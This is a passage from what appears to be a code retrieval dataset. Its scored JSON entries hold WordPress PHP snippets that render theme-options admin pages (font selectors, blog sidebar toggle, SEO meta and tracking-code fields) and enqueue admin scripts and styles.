'themes.php?page=theme-options' ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\twp_nonce_field( \"settings-page\" );\n\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t<table>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Text Logo Font</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<select id=\"site_name_font\" name=\"site_name_font\" style=\"width: 100%;\"></select>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ( get_option( 'site_name_font_family' ) )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$site_name_font_family = get_option( 'site_name_font_family' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$site_name_font_family = 'Patua One';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" id=\"site_name_font_family\" name=\"site_name_font_family\" value=\"<?php echo $site_name_font_family; ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h1 class=\"site_name_font_live\">Hello font world</h1>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Text Logo Font Size</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"site_name_font_size\" name=\"site_name_font_size\" class=\"code2\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( get_option( 'site_name_font_size' ) ); ?>\"> <span style=\"font-size: 11px; color: #666;\">Default: 2.00em</span>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSample: 2.00em\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Heading Font</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<select id=\"heading_font\" name=\"heading_font\" style=\"width: 100%;\"></select>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ( get_option( 'heading_font_family' ) )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$heading_font_family = get_option( 'heading_font_family' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$heading_font_family = 'Rokkitt';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" id=\"heading_font_family\" name=\"heading_font_family\" value=\"<?php echo $heading_font_family; ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h1 class=\"heading_font_live\">Hello font world</h1>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Heading Font Size</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tHeading 1: <input type=\"text\" id=\"h1_font_size\" name=\"h1_font_size\" class=\"code2\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( get_option( 'h1_font_size' ) ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tHeading 2: <input type=\"text\" id=\"h2_font_size\" name=\"h2_font_size\" class=\"code2\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( get_option( 'h2_font_size' ) ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tHeading 3: <input type=\"text\" id=\"h3_font_size\" name=\"h3_font_size\" class=\"code2\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( get_option( 'h3_font_size' ) ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tHeading 4: <input type=\"text\" id=\"h4_font_size\" name=\"h4_font_size\" class=\"code2\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( get_option( 'h4_font_size' ) ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tHeading 5: <input type=\"text\" id=\"h5_font_size\" name=\"h5_font_size\" class=\"code2\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( get_option( 'h5_font_size' ) ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tHeading 6: <input type=\"text\" id=\"h6_font_size\" name=\"h6_font_size\" class=\"code2\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( get_option( 'h6_font_size' ) ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSample: 1.80em\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Content Font</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<select id=\"content_font\" name=\"content_font\" style=\"width: 100%;\"></select>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ( get_option( 'content_font_family' ) )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$content_font_family = get_option( 'content_font_family' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$content_font_family = 'Lora';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" id=\"content_font_family\" name=\"content_font_family\" value=\"<?php echo $content_font_family; ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<p class=\"content_font_live\" style=\"font-size: 14px; line-height: 22px;\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vestibulum tincidunt dictum arcu, quis convallis lacus lacinia nec. Suspendisse quam nisl, fringilla et bibendum non, dictum id quam.</p>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"submit\" name=\"submit\" class=\"button button-primary button-large\" value=\"Save Changes\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"settings-submit\" value=\"Y\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t\t\t\t</form>\n\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t<!-- end .inside -->\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t<!-- end .postbox -->\n\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tcase 'blog' :\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif ( esc_attr( @$_GET['saved'] ) == 'true' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<div class=\"alert-success\" title=\"Click to close\"><p><strong>Saved.</strong></p></div>';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t<div class=\"postbox\">\n\t\t\t\t\t\t\t\t\t\t<div class=\"inside\">\n\t\t\t\t\t\t\t\t\t\t\t<form class=\"ajax-form\" method=\"post\" action=\"<?php admin_url( 'themes.php?page=theme-options' ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\twp_nonce_field( 'settings-page' );\n\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t<table>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Blog Sidebar</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$blog_sidebar = get_option( 'blog_sidebar', 'Yes' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<select id=\"blog_sidebar\" name=\"blog_sidebar\" style=\"width: 100%;\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $blog_sidebar == 'Yes' ) { echo 'selected=\"selected\"'; } ?>>Yes</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $blog_sidebar == 'No' ) { echo 'selected=\"selected\"'; } ?>>No</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tFor blog page template. Enable or disable.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"submit\" name=\"submit\" class=\"button button-primary button-large\" value=\"Save Changes\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"settings-submit\" value=\"Y\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t\t\t\t</form>\n\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t<!-- end .inside -->\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t<!-- end .postbox -->\n\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tcase 'seo' :\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif ( esc_attr( @$_GET['saved'] ) == 'true' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<div class=\"alert-success\" title=\"Click to close\"><p><strong>Saved.</strong></p></div>';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t<div class=\"postbox\">\n\t\t\t\t\t\t\t\t\t\t<div class=\"inside\">\n\t\t\t\t\t\t\t\t\t\t\t<form class=\"ajax-form\" method=\"post\" action=\"<?php admin_url( 'themes.php?page=theme-options' ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\twp_nonce_field( \"settings-page\" );\n\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t<table>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Theme SEO Fields</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$theme_seo_fields = stripcslashes( get_option( 'theme_seo_fields', 'No' ) );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<select id=\"theme_seo_fields\" name=\"theme_seo_fields\" style=\"width: 100%;\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $theme_seo_fields == 'Yes' ) { echo 'selected=\"selected\"'; } ?>>Yes</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $theme_seo_fields == 'No' ) { echo 'selected=\"selected\"'; } ?>>No</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tEnable or disable built-in seo fields.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Description</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<textarea id=\"site_description\" name=\"site_description\" style=\"outline: none; width: 100%;\" rows=\"4\" cols=\"50\"><?php echo stripcslashes( get_option( 'site_description' ) ); ?></textarea>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tUsed in front page.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Keywords</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<textarea id=\"site_keywords\" name=\"site_keywords\" style=\"outline: none; width: 100%;\" rows=\"4\" cols=\"50\"><?php echo stripcslashes( get_option( 'site_keywords' ) ); ?></textarea>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSeparate keywords with commas.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Tracking Code (/head)</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<textarea id=\"tracking_code_head\" name=\"tracking_code_head\" class=\"code2\" style=\"outline: none; width: 100%;\" rows=\"10\" cols=\"50\"><?php echo stripcslashes( get_option( 'tracking_code_head' ) ); ?></textarea>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tPaste your Google Analytics (or other) tracking code here. It will be inserted before the closing head tag.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Tracking Code (/body)</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<textarea id=\"tracking_code\" name=\"tracking_code\" class=\"code2\" style=\"outline: none; width: 100%;\" rows=\"10\" cols=\"50\"><?php echo stripcslashes( get_option( 'tracking_code' ) ); ?></textarea>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tPaste your Google Analytics (or other) tracking code here. It will be inserted before the closing body tag.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"submit\" name=\"submit\" class=\"button button-primary button-large\" value=\"Save Changes\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"settings-submit\" value=\"Y\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t\t\t\t</form>\n\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t<!-- end .inside -->\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t<!-- end .postbox -->\n\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// end tab content\n\t\t\t\t\t}\n\t\t\t\t\t// end settings page\n\t\t\t\t?>\n\t\t\t</div>\n\t\t\t<!-- end #poststuff -->\n\t\t</div>\n\t\t<!-- end .wrap2 -->\n\t<?php\n\t}", "title": "" }, { "docid": "43e71c95762fcbcb187f0b24748084c4", "score": "0.61118597", "text": "function rca_admin_script() {\n\twp_enqueue_style( 'admin', plugins_url( '/src/css/admin.css', __FILE__ ), array(), '1.0.1', 'all' );\n\twp_enqueue_media();\n\twp_enqueue_style( 'wp-color-picker' );\n\twp_enqueue_script( 'wp-color-picker' );\n\twp_enqueue_script( 'admin', plugins_url( '/src/js/admin.js', __FILE__ ), array( 'wp-color-picker' ), '1.0.0', true );\n}", "title": "" }, { "docid": "acf37d9bd48d6a2fbc6b934a82cf48ef", "score": "0.6109468", "text": "function theme_settings_page() {\n global $themename;\n?>\n <div class=\"wrap\">\n <div class=\"opwrap\" style=\"margin-top: 10px;\" >\n <div class=\"icon32\" id=\"icon-options-general\"></div>\n <h2 class=\"wraphead\"><?php echo $themename; ?> theme general settings</h2>\n <?php\n if (isset($_REQUEST['saved']))\n echo '<div id=\"message\" class=\"updated fade\"><p><strong>' . $themename . ' settings saved.</strong></p></div>';\n ?>\n <form method=\"post\">\n <h3>Site Options</h3>\n <table class=\"form-table\">\n <tr>\n <th><label for=\"keywords_meta\">Keywords meta</label></th>\n <td>\n <input type=\"text\" name=\"keywords_meta\" id=\"keywords_meta\" value=\"<?php echo stripslashes(get_settings('keywords_meta'));?>\" class=\"regular-text\" />\n <br />\n <span class=\"description\">Enter the meta keywords for all pages. These are used by search engines to index your pages with more relevance.</span>\n </td>\n </tr>\n <tr>\n <th><label for=\"description_meta\">Description meta</label></th>\n <td>\n <input type=\"text\" name=\"description_meta\" id=\"description_meta\" value=\"<?php echo stripslashes(get_settings('description_meta'));?>\" class=\"regular-text\" />\n <br />\n <span class=\"description\">Enter the meta description for all pages. This is used by search engines to index your pages more relevantly.</span>\n </td>\n </tr>\n <tr>\n <th><label for=\"favicon\">Favicon</label></th>\n <td>\n <input type=\"text\" name=\"favicon\" id=\"favicon\" value=\"<?php echo stripslashes(get_settings('favicon'));?>\" class=\"regular-text\" />\n <input type=\"button\" id=\"upload_favicon_button\" class=\"button button-upload\" value=\"Upload\" />\n <br />\n <span class=\"description\">An icon associated with a particular website, and typically displayed in the address bar of a browser viewing the site.</span>\n </td>\n </tr>\n <tr>\n <th><label for=\"sitelogo\">Logo</label></th>\n <td>\n <input type=\"text\" name=\"sitelogo\" id=\"sitelogo\" value=\"<?php echo stripslashes(get_settings('sitelogo'));?>\" class=\"regular-text\" />\n <input type=\"button\" id=\"upload_sitelogo_button\" class=\"button button-upload\" value=\"Upload\" /><br />\n <span class=\"description\">Size: 345x80</span>\n </td>\n </tr>\n <tr>\n <th><label for=\"logo_footer\">Logo Footer</label></th>\n <td>\n <input type=\"text\" name=\"logo_footer\" id=\"logo_footer\" value=\"<?php echo stripslashes(get_settings('logo_footer'));?>\" class=\"regular-text\" />\n <input type=\"button\" id=\"upload_logo_footer_button\" class=\"button button-upload\" value=\"Upload\" /><br />\n <span class=\"description\">Size: 1525x60</span>\n </td>\n </tr>\n </table>\n <div class=\"submit\">\n <input name=\"save\" type=\"submit\" value=\"Save changes\" class=\"button button-large button-primary\" />\n <input type=\"hidden\" name=\"action\" value=\"save\" />\n </div>\n </form>\n </div>\n </div>\n<?php\n}", "title": "" }, { "docid": "a832b2f613a3bb20ace3196c88acb569", "score": "0.6101131", "text": "function admin_enqueue ( $hook ) {\n\n if ( $hook != 'toplevel_page_diy_meta_plugin' ) {\n return;\n }\n\n wp_enqueue_style( self::PLUGIN_DOMAIN . '/settings.css', self::assets_url() . '/dist/styles/settings.css' );\n\n wp_enqueue_style( 'wp-color-picker' );\n\n wp_register_script( self::PLUGIN_DOMAIN . '/settings.js', self::assets_url() . '/dist/scripts/settings.js', array( 'wp-color-picker' ) );\n wp_localize_script( self::PLUGIN_DOMAIN . '/settings.js', 'wpApiSettings', array(\n 'root' => esc_url_raw( rest_url() ),\n 'nonce' => wp_create_nonce( 'wp_rest' )\n ) );\n 